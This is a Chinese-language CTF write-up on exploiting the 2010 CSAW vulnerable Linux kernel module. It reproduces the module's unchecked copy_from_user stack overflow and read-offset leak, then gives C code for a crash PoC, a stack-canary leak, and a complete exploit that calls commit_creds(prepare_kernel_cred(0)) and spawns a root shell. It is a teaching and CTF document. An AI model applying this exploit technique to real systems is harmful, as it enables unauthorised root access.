这是一道2010年关于Linux Kernel Exploit的题目,目标是提权。 题目代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/proc_fs.h> #include <linux/string.h> #include <asm/uaccess.h> #define MAX_LENGTH 64 MODULE_LICENSE("GPL" ); MODULE_AUTHOR("Jon Oberheide" ); MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module" ); static struct proc_dir_entry *csaw_proc ;int csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data) { char buf[MAX_LENGTH]; printk(KERN_INFO "csaw: called csaw_write\n" ); if (copy_from_user(&buf, ubuf, count)) { printk(KERN_INFO "csaw: error copying data from userspace\n" ); return -EFAULT; } return count; } int csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data) { char buf[MAX_LENGTH]; printk(KERN_INFO "csaw: called csaw_read\n" ); *eof = 1 ; memset (buf, 0 , sizeof (buf)); strcpy (buf, "Welcome to the CSAW CTF challenge. Best of luck!\n" ); memcpy (page, buf + off, MAX_LENGTH); return MAX_LENGTH; } static int __initcsaw_init(void ) { printk(KERN_INFO "csaw: loading module\n" ); csaw_proc = create_proc_entry("csaw" , 0666 , NULL ); csaw_proc->read_proc = csaw_read; csaw_proc->write_proc = csaw_write; printk(KERN_INFO "csaw: created /proc/csaw entry\n" ); return 0 ; } static void __exitcsaw_exit(void ) { if (csaw_proc) { remove_proc_entry("csaw" , csaw_proc); } printk(KERN_INFO "csaw: unloading module\n" ); } module_init(csaw_init); module_exit(csaw_exit);
其中proc_dir_entry
结构体定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 struct proc_dir_entry { unsigned short low_ino; unsigned short namelen; const char *name; mode_t mode; nlink_t nlink; uid_t uid; gid_t gid; unsigned long size; struct inode_operations * proc_iops ; struct file_operations * proc_fops ; get_info_t *get_info; struct module *owner ; struct proc_dir_entry *next , *parent , *subdir ; void *data; read_proc_t *read_proc; write_proc_t *write_proc; atomic_t count; int deleted; kdev_t rdev; };
其中csaw_read()
原型函数:
1 int (*read_proc)(char *page, char **start, off_t offset, int count, int *eof, void *data)
这个函数与read的系统调用函数功能类似。就在/proc中为驱动程序设计了一个特有了文件(假设名csaw)后,则用户使用cat /proc/csaw
时,会调用到此函数。 在/proc中创建文件的函数是create_proc_entry
,并且返回一个proc_dir_entry
结构体指针,通过给结构体指针的read_proc
变量赋值,完成此文件与一个read_proc
函数的关联。 删除这种关系,并且删除这个文件的函数是remove_proc_entry
。 函数的参数:
*page是驱动层向用户层返回的数据
**start表示写page的起始地址
off与read用法一致,表示文件指针的偏移
count与read用法一致,表示要读多少字节
eof输出参数
data由驱动内部使用
回到题目中,代码的漏洞就是csaw_write
函数的copy_from_user()
从用户空间做拷贝时,未作任何检查,导致栈溢出。但是从注释中可以知道出题人开启了kernel canary,直接溢出会导致kernel panic。这种情况下,一般采取的方法是leak或者crack。继续分析代码,看到read部分会把栈上的一个缓冲区拷贝到用户空间:
1 memcpy (page, buf + off, MAX_LENGTH);
而且还可以控制偏移(off),这里可以leak栈上的canary。那么思路大概就是:
1 junk+Canary+ebp+payload_addr
PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> int main (int argc, char *argv[]) { int fd = open("/proc/csaw" , O_RDWR); if (!fd) { printf ("error\n" ); exit (1 ); } char poc[72 ]; memset (poc, 0x41 , 72 ); write(fd, poc, 72 ); return 0 ; }
PoC会直接导致kernel panic。 下面写一个dump程序来leak栈上的canary:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> int main (int argc, char *argv[]) { int fd = open("/proc/csaw" , O_RDWR); if (!fd) { printf ("error\n" ); exit (1 ); } lseek(fd, 16 , SEEK_CUR); char buffer[64 ] = {0 }; read(fd, buffer, 64 ); int i, j; for (i = 0 ; i < 4 ; i++) { for (j = 0 ; j < 16 ; j++) printf ("%02x " , buffer[i*16 +j] & 0xff ); printf (" | " ); for (j = 0 ; j < 16 ; j++) printf ("%c" , buffer[i*16 +j] & 0xff ); printf ("\n" ); } char canary[4 ] = {0 }; memcpy (canary, buffer+32 , 4 ); printf ("CANARY:" ); for (i = 0 ; i < 4 ; i++) printf ("%02x" , canary[i] & 0xff ); printf ("\n" ); return 0 ; }
调试方法和前面的文章中介绍的一样。感觉之前会gdb调试用户态程序,现在学调试内核程序也很好上手,只是peda用不了非常不爽。exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <stdint.h> struct trap_frame { void *eip; uint32_t cs; uint32_t eflags; void *esp; uint32_t ss; } __attribute__((packed)); void launch_shell (void ) { execl("/bin/sh" , "sh" , NULL ); } struct trap_frame tf ;void prepare_tf (void ) { asm ("pushl %cs; popl tf+4;" "pushfl; popl tf+8;" "pushl %esp; popl tf+12;" "pushl %ss; popl tf+16;" ); tf.eip = &launch_shell; tf.esp -= 1024 ; } #define KERNCALL __attribute__((regparm(3))) void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xc1057590 ;void *(*commit_creds)(void *) KERNCALL = (void *) 0xc10573f0 ;void payload (void ) { commit_creds(prepare_kernel_cred(0 )); asm ("mov $tf, %esp;" "iret;" ); } int main (int argc, char *argv[]) { int fd = open("/proc/csaw" , O_RDWR); if (!fd) { printf ("error\n" ); exit (1 ); } lseek(fd, 16 , SEEK_CUR); char buffer[64 ]; read(fd, buffer, 64 ); int i, j; for (i = 0 ; i < 4 ; i++) { for (j = 0 ; j < 16 ; j++) printf ("%02x " , buffer[i*16 +j] & 0xff ); printf (" | " ); for (j = 0 ; j < 16 ; j++) printf ("%c" , buffer[i*16 +j] & 0xff ); printf ("\n" ); } char canary[4 ]; memcpy (canary, buffer+32 , 4 ); printf ("CANARY:" ); for (i = 0 ; i < 4 ; i++) printf ("%02x" , canary[i] & 0xff ); printf ("\n" ); char exp [84 ]; memset (exp , 0x41 , 84 ); memcpy (exp +64 , canary, 4 ); *((void **)(exp +64 +4 +4 +4 +4 )) = &payload; printf ("[*]payload:%s\n" , exp ); printf ("Triger bug:\n" ); prepare_tf(); write(fd, exp , 84 ); return 0 ; }
编译后放到busybox里,新建用户测试exploit: 成功获取root shell!reference http://bobao.360.cn/learning/detail/3706.html http://blog.csdn.net/wbd880419/article/details/6637102